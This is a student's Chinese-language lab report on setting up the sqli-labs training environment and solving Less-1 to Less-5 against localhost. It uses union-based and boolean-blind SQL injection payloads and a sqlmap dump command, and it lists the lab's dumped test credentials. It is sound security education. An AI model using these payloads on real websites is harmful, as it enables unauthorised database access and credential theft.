大四_17周实训
环境安装_windows
Windows 虚拟机 WIN10_LTSC
phpstudy 2016
安装比较老的php(不能大于7不然无法安装)
http://public.xp.cn/upgrades/phpStudy20161103.zip
能打开就行;
复制环境
https://github.com/Audi-1/sqli-labs
下一个zip
复制到这里:
粘贴到这里
改名为:sqli
填个密码:(默认密码是root)
访问:
等一会就行
这样就行:
环境安装_Linux
git clone https://github.com/Audi-1/sqli-labs
docker-compose up
#访问81端口即可
docker-compose.yaml
version: '3'
services:
nginx:
image: nginx:latest
ports:
- "81:80"
volumes:
- ./sqli-labs:/var/www/html/sqli
- ./nginx.conf:/etc/nginx/conf.d/default.conf
depends_on:
- php
php:
build: .
volumes:
- ./sqli-labs:/var/www/html/sqli
mysql:
image: mysql:5.7
environment:
MYSQL_ROOT_PASSWORD: 123456
volumes:
- ./mysql_data:/var/lib/mysql
Dockerfile
FROM php:5.6-fpm-alpine
RUN apk add --no-cache mysql-client
RUN docker-php-ext-install mysql mysqli pdo pdo_mysql
nginx.conf
server {
listen 80;
server_name localhost;
root /var/www/html;
index index.php index.html;
location ~ \.php$ {
fastcgi_pass php:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
修改下配置文件
db-creds.inc
修改数据库连接配置
sql-connections/db-creds.inc
<?php
//give your mysql connection username n password
$dbuser ='root';
$dbpass ='toor';
$dbname ="security";
$host = 'mysql';
$dbname1 = "challenges";
?>
启动
端口转发即可
docker-compose up
如图所示
要求:任务1
http://127.0.0.1/sqli/Less-2/?id=1’
报错
http://127.0.0.1/sqli/Less-2/?id=1 and 1=1 正常
http://127.0.0.1/sqli/Less-2/?id=1 and 1=11不正常
确定为数值型,存在注入。
http://127.0.0.1/sqli/Less-2/?id=1 order by 10 不正常
http://127.0.0.1/sqli/Less-2/?id=1 order by 4 不正常
http://127.0.0.1/sqli/Less-2/?id=1 order by 3 正常
确定3列
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3
确定显示位2,3
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,database()
结果security ,确定了数据库名
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"
结果:emails,referers,uagents,users,确定了4个表名
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
结果:id,username,password 一共3个列
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password) from users
爆出所有账号密码
要求:任务2
SELECT * FROM users WHERE id='$id' LIMIT 0,1
id=1'--+
SELECT * FROM users WHERE id='1'
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-3/?id=1')--+
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
结论:数据库名字长度是8
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
结论:数据库名字第一个字母是s
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
结论:ascii对应115,115对应s
101--e 99--c 117--u
爆表、列、值
进入网页,进行初始化
初始化;
实验任务1 - LESS2
1. 首先测试是否存在SQL注入漏洞:
http://127.0.0.1/sqli/Less-2/?id=1’
报错
添加单引号后页面报错,说明存在潜在注入点。
2. 进一步通过and语句判断注入类型:
http://127.0.0.1/sqli/Less-2/?id=1 and 1=1 正常
继续尝试,提供错误表达式
http://127.0.0.1/sqli/Less-2/?id=1 and 1=11不正常
3. 根据测试结果可以确定这是一个数值型注入。
确定为数值型,存在注入。
4. 尝试数据库获得字段数
http://127.0.0.1/sqli/Less-2/?id=1 order by 10 不正常
继续尝试
http://127.0.0.1/sqli/Less-2/?id=1 order by 4 不正常
继续尝试
http://127.0.0.1/sqli/Less-2/?id=1 order by 3 正常
确定查询结果包含3个字段。
5. 确定显示位置
使用UNION SELECT语句确定显示位:
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3
如图,确定显示位2,3
6. 确定数据库名
这样有显示了,就可以把数据库名字拿出来。
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,database()
结果security ,确定了数据库名
7. 然后尝试把列名拿出来
id=-1 union select 1,2,group_concat(table_name)
from information_schema.tables
where table_schema="security"
payload:
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"
结果:emails,referers,uagents,users。
8. 再拿字段名字
id=-1 union select 1,2,group_concat(column_name)
from information_schema.columns
where table_schema="security"
and table_name="users"
payload:
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
结果:id,username,password
一共3个列
9. 数据获取
最后获取用户表中的敏感信息:
http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password) from users
爆出所有账号密码
实验任务2
SELECT * FROM users WHERE id='$id' LIMIT 0,1
id=1'--+
SELECT * FROM users WHERE id='1'
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-3/?id=1')--+
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
结论:数据库名字长度是8
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
结论:数据库名字第一个字母是s
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
结论:ascii对应115,115对应s
101--e 99--c 117--u
爆表、列、值
Less-1: 字符型注入(')
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(username,0x7e,password) from users--+
需要闭合单引号,使用union select直接注入。
结果: 成功获取用户名和密码数据
Dumb~Dumb, Angelina~I-kill-you, Dummy~p@ssword, secure~crappy, stupid~stupidity, superman~genious, batman~mob!le, admin~admin, admin1~admin1, admin2~admin2, admin3~admin3, admin4~admin4
Less-3: 字符型注入(')
需要闭合单引号和括号
1. 测试注入点
http://127.0.0.1/sqli/Less-3/?id=1')--+
结果:页面正常显示,确认闭合方式正确
2.构造完整payload获取数据
http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2,group_concat(username,0x7e,password) from users--+
结果: 同Less-1,成功获取所有用户数据
Less-4: 字符型注入(")
需要闭合双引号和括号
http://127.0.0.1/sqli/Less-4/?id=-1") union select 1,2,group_concat(username,0x7e,password) from users--+
结果: 同样成功获取用户数据
Less-5: 布尔盲注
通过布尔盲注逐步获取信息
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=9--+错误
1.判断数据库名长度
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=9--+
结果: 错误,页面无正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and length(database)=8--+正确
结果: 正确,页面正常显示
结论: 数据库名长度为8个字符
2.逐字符判断数据库名
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="s"--+正确
结果: 正确,页面正常显示
http://127.0.0.1/sqli/Less-5/?id=1' and (select substr(database(),1,1))="d"--+不正确
结果: 错误,页面无正常显示
结论: 数据库名第一个字符为's'
结论:数据库名字第一个字母是s
3.使用ASCII码进一步确认
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>114--+正确
结果: 正确
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr(database(),1,1))>115--+错误
结果: 错误
结论: 第一个字符ASCII码为115,对应字母's'
4.常用ASCII码对照表
s: 115
e: 101
c: 99
u: 117
5.剩下的工作比较重复,直接使用工具即可
但是是没有灵魂的。
爆表、列、值,直接用工具啦。
爆库:
获得库:
爆表
6. 没有灵魂,直接DUMP出来
H:\awd\ONE-FOX集成工具箱_V6公开版_by狐狸\ONE-FOX集成工具箱_V6公开版_by狐狸\gui_scan\sqlmap> python sqlmap.py -u http://127.0.0.1/sqli/Less-5/?id=1 -D security --dump
OK,试验结束。